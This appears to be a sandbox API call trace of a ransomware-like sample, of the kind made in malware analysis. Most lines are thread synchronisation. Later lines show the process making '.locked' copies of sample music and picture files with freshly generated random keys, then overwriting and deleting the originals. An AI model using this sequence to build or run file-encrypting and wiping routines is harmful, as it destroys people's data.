	[0079.791] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.827] SetEvent (hEvent=0x6c) returned 1
	[0079.827] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.828] SetEvent (hEvent=0x80) returned 1
	[0079.829] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.853] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.856] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.879] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.887] SetEvent (hEvent=0x6c) returned 1
	[0079.887] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.887] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.912] SetEvent (hEvent=0x6c) returned 1
	[0079.912] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.914] SetEvent (hEvent=0x6c) returned 1
	[0079.914] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.915] SetEvent (hEvent=0x6c) returned 1
	[0079.915] SwitchToThread () returned 1
	[0079.915] SetEvent (hEvent=0x6c) returned 1
	[0079.915] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.916] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.947] SetEvent (hEvent=0x6c) returned 1
	[0079.947] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.948] SetEvent (hEvent=0x80) returned 1
	[0079.949] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.972] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.975] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0079.999] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.006] SetEvent (hEvent=0x80) returned 1
	[0080.007] SetEvent (hEvent=0x78) returned 1
	[0080.007] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x102
	[0080.012] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.012] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x102
	[0080.013] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.013] SetEvent (hEvent=0x80) returned 1
	[0080.013] SetEvent (hEvent=0x78) returned 1
	[0080.013] SetEvent (hEvent=0x8c) returned 1
	[0080.013] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.013] SetEvent (hEvent=0xa8) returned 1
	[0080.013] SetEvent (hEvent=0x8c) returned 1
	[0080.013] SetEvent (hEvent=0x6c) returned 1
	[0080.013] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.019] SetEvent (hEvent=0x6c) returned 1
	[0080.019] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.020] SetEvent (hEvent=0x6c) returned 1
	[0080.020] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.020] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.039] SetEvent (hEvent=0x6c) returned 1
	[0080.039] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.041] SetEvent (hEvent=0x8c) returned 1
	[0080.041] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.069] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.090] SetEvent (hEvent=0x6c) returned 1
	[0080.090] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.098] SetEvent (hEvent=0x6c) returned 1
	[0080.098] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.099] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.102] SetEvent (hEvent=0x6c) returned 1
	[0080.102] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.103] SetEvent (hEvent=0x78) returned 1
	[0080.103] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.146] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.166] SetEvent (hEvent=0x6c) returned 1
	[0080.166] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.170] SetEvent (hEvent=0x6c) returned 1
	[0080.170] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.171] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.174] SetEvent (hEvent=0x6c) returned 1
	[0080.174] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.175] SetEvent (hEvent=0x8c) returned 1
	[0080.175] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.202] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.222] SetEvent (hEvent=0x6c) returned 1
	[0080.222] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.227] SetEvent (hEvent=0x6c) returned 1
	[0080.227] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.228] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.231] SetEvent (hEvent=0x6c) returned 1
	[0080.231] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.232] SetEvent (hEvent=0x78) returned 1
	[0080.232] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.262] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.281] SetEvent (hEvent=0x6c) returned 1
	[0080.281] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.286] SetEvent (hEvent=0x6c) returned 1
	[0080.286] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.286] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.289] SetEvent (hEvent=0x6c) returned 1
	[0080.289] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.290] SetEvent (hEvent=0x8c) returned 1
	[0080.290] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.340] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.361] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.366] SetEvent (hEvent=0x6c) returned 1
	[0080.366] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.367] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.370] SetEvent (hEvent=0x6c) returned 1
	[0080.370] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.371] SetEvent (hEvent=0x78) returned 1
	[0080.371] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.403] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.423] SetEvent (hEvent=0x6c) returned 1
	[0080.423] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.428] SetEvent (hEvent=0x6c) returned 1
	[0080.428] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.429] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.432] SetEvent (hEvent=0x6c) returned 1
	[0080.432] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.433] SetEvent (hEvent=0x8c) returned 1
	[0080.433] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.461] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.478] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.485] SetEvent (hEvent=0x6c) returned 1
	[0080.485] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.486] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.489] SetEvent (hEvent=0x6c) returned 1
	[0080.489] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.490] SetEvent (hEvent=0x78) returned 1
	[0080.490] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.518] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.538] SetEvent (hEvent=0x6c) returned 1
	[0080.538] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.607] SetEvent (hEvent=0x6c) returned 1
	[0080.607] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.610] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.617] SetEvent (hEvent=0x6c) returned 1
	[0080.617] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.618] SetEvent (hEvent=0x8c) returned 1
	[0080.618] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.656] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.657] SetEvent (hEvent=0x8c) returned 1
	[0080.657] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0080.657] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0082.500] SetEvent (hEvent=0x80) returned 1
	[0082.500] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0082.500] SetEvent (hEvent=0x80) returned 1
	[0082.500] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0082.507] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0082.526] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0082.551] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0082.827] SetEvent (hEvent=0x80) returned 1
	[0082.828] SetEvent (hEvent=0x78) returned 1
	[0082.828] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x102
	[0082.930] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0082.930] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0082.930] SetEvent (hEvent=0x80) returned 1
	[0082.930] SetEvent (hEvent=0x6c) returned 1
	[0082.930] SetEvent (hEvent=0x78) returned 1
	[0082.930] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0082.931] SetEvent (hEvent=0xa8) returned 1
	[0082.931] SetEvent (hEvent=0x78) returned 1
	[0082.986] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0x8064f1, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eeb84*=0x8064f1, lpOverlapped=0x0) returned 1
	[0083.168] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0083.168] CloseHandle (hObject=0xc4) returned 1
	[0083.168] CloseHandle (hObject=0xc0) returned 1
	[0083.169] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390070*, nNumberOfCharsToWrite=0x33, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12390070*, lpNumberOfCharsWritten=0x127ee83c*=0x33) returned 1
	[0083.170] DeleteFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3")) returned 1
	[0083.175] SetEvent (hEvent=0x6c) returned 1
	[0083.176] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x102
	[0083.176] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.177] SetEvent (hEvent=0x6c) returned 1
	[0083.177] SetEvent (hEvent=0x78) returned 1
	[0083.177] SetEvent (hEvent=0x80) returned 1
	[0083.177] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.177] SetEvent (hEvent=0x80) returned 1
	[0083.218] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0083.219] SetEvent (hEvent=0xa8) returned 1
	[0083.219] SetEvent (hEvent=0x80) returned 1
	[0083.221] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0083.221] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0083.221] SetEvent (hEvent=0x80) returned 1
	[0083.221] SetEvent (hEvent=0x78) returned 1
	[0083.221] SetEvent (hEvent=0x6c) returned 1
	[0083.221] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.222] SetEvent (hEvent=0x6c) returned 1
	[0083.222] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0083.222] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0083.223] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0083.239] CloseHandle (hObject=0xc0) returned 1
	[0083.240] DeleteFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3")) returned 1
	[0083.242] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2)) returned 1
	[0083.243] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0083.243] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0083.243] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3.locked" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0083.243] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0083.244] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x125d0040 | out: pbBuffer=0x125d0040) returned 1
	[0083.244] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x123d41a0 | out: pbBuffer=0x123d41a0) returned 1
	[0083.244] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0083.244] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0083.246] SetEvent (hEvent=0x78) returned 1
	[0083.246] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0x3ec5d2, lpOverlapped=0x0) returned 1
	[0083.353] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.367] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.471] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.484] SetEvent (hEvent=0x78) returned 1
	[0083.485] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.485] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.505] SetEvent (hEvent=0x78) returned 1
	[0083.505] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.506] SetEvent (hEvent=0x80) returned 1
	[0083.506] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.670] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.671] SetEvent (hEvent=0x80) returned 1
	[0083.671] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.672] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.877] SetEvent (hEvent=0x80) returned 1
	[0083.877] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.894] SetEvent (hEvent=0x80) returned 1
	[0083.894] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.896] SetEvent (hEvent=0x80) returned 1
	[0083.896] SwitchToThread () returned 1
	[0083.896] SetEvent (hEvent=0x80) returned 1
	[0083.896] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.896] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.951] SetEvent (hEvent=0x6c) returned 1
	[0083.951] SetEvent (hEvent=0x78) returned 1
	[0083.951] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.952] SetEvent (hEvent=0x6c) returned 1
	[0083.952] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.976] SetEvent (hEvent=0x80) returned 1
	[0083.976] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0083.989] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.008] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.030] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.036] SetEvent (hEvent=0x80) returned 1
	[0084.036] SetEvent (hEvent=0x78) returned 1
	[0084.036] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x102
	[0084.051] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.051] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.051] SetEvent (hEvent=0x80) returned 1
	[0084.051] SetEvent (hEvent=0x6c) returned 1
	[0084.051] SetEvent (hEvent=0x78) returned 1
	[0084.052] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.052] SetEvent (hEvent=0xa8) returned 1
	[0084.052] SetEvent (hEvent=0x78) returned 1
	[0084.054] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0xce875, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eeb84*=0xce875, lpOverlapped=0x0) returned 1
	[0084.068] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0084.068] CloseHandle (hObject=0xc4) returned 1
	[0084.069] CloseHandle (hObject=0xc0) returned 1
	[0084.069] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390070*, nNumberOfCharsToWrite=0x38, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12390070*, lpNumberOfCharsWritten=0x127ee83c*=0x38) returned 1
	[0084.070] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg")) returned 1
	[0084.080] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.081] SetEvent (hEvent=0x6c) returned 1
	[0084.082] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.082] SetEvent (hEvent=0x6c) returned 1
	[0084.082] SetEvent (hEvent=0x78) returned 1
	[0084.082] SetEvent (hEvent=0x80) returned 1
	[0084.082] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.082] SetEvent (hEvent=0x80) returned 1
	[0084.098] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.099] SetEvent (hEvent=0xa8) returned 1
	[0084.099] SetEvent (hEvent=0x80) returned 1
	[0084.100] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x102
	[0084.101] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.101] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0x1) returned 0x0
	[0084.101] SetEvent (hEvent=0x80) returned 1
	[0084.101] SetEvent (hEvent=0x78) returned 1
	[0084.101] SetEvent (hEvent=0x6c) returned 1
	[0084.101] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.101] SetEvent (hEvent=0x6c) returned 1
	[0084.102] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0084.102] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0084.103] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0084.126] CloseHandle (hObject=0xc0) returned 1
	[0084.126] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg")) returned 1
	[0084.129] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554)) returned 1
	[0084.130] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0084.130] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0084.130] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.locked" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0084.131] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0084.131] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x125d0080 | out: pbBuffer=0x125d0080) returned 1
	[0084.131] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x123d41a0 | out: pbBuffer=0x123d41a0) returned 1
	[0084.131] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416101 | out: pbBuffer=0x12416101) returned 1
	[0084.131] WriteFile (in: hFile=0xc4, lpBuffer=0x1240b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x1240b000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0084.134] SetEvent (hEvent=0x78) returned 1
	[0084.134] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0x91554, lpOverlapped=0x0) returned 1
	[0084.148] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0x91554, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eeb84*=0x91554, lpOverlapped=0x0) returned 1
	[0084.159] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0084.159] CloseHandle (hObject=0xc4) returned 1
	[0084.160] CloseHandle (hObject=0xc0) returned 1
	[0084.160] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x3c, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee83c*=0x3c) returned 1
	[0084.161] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0
	[0084.162] DeleteFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg")) returned 1
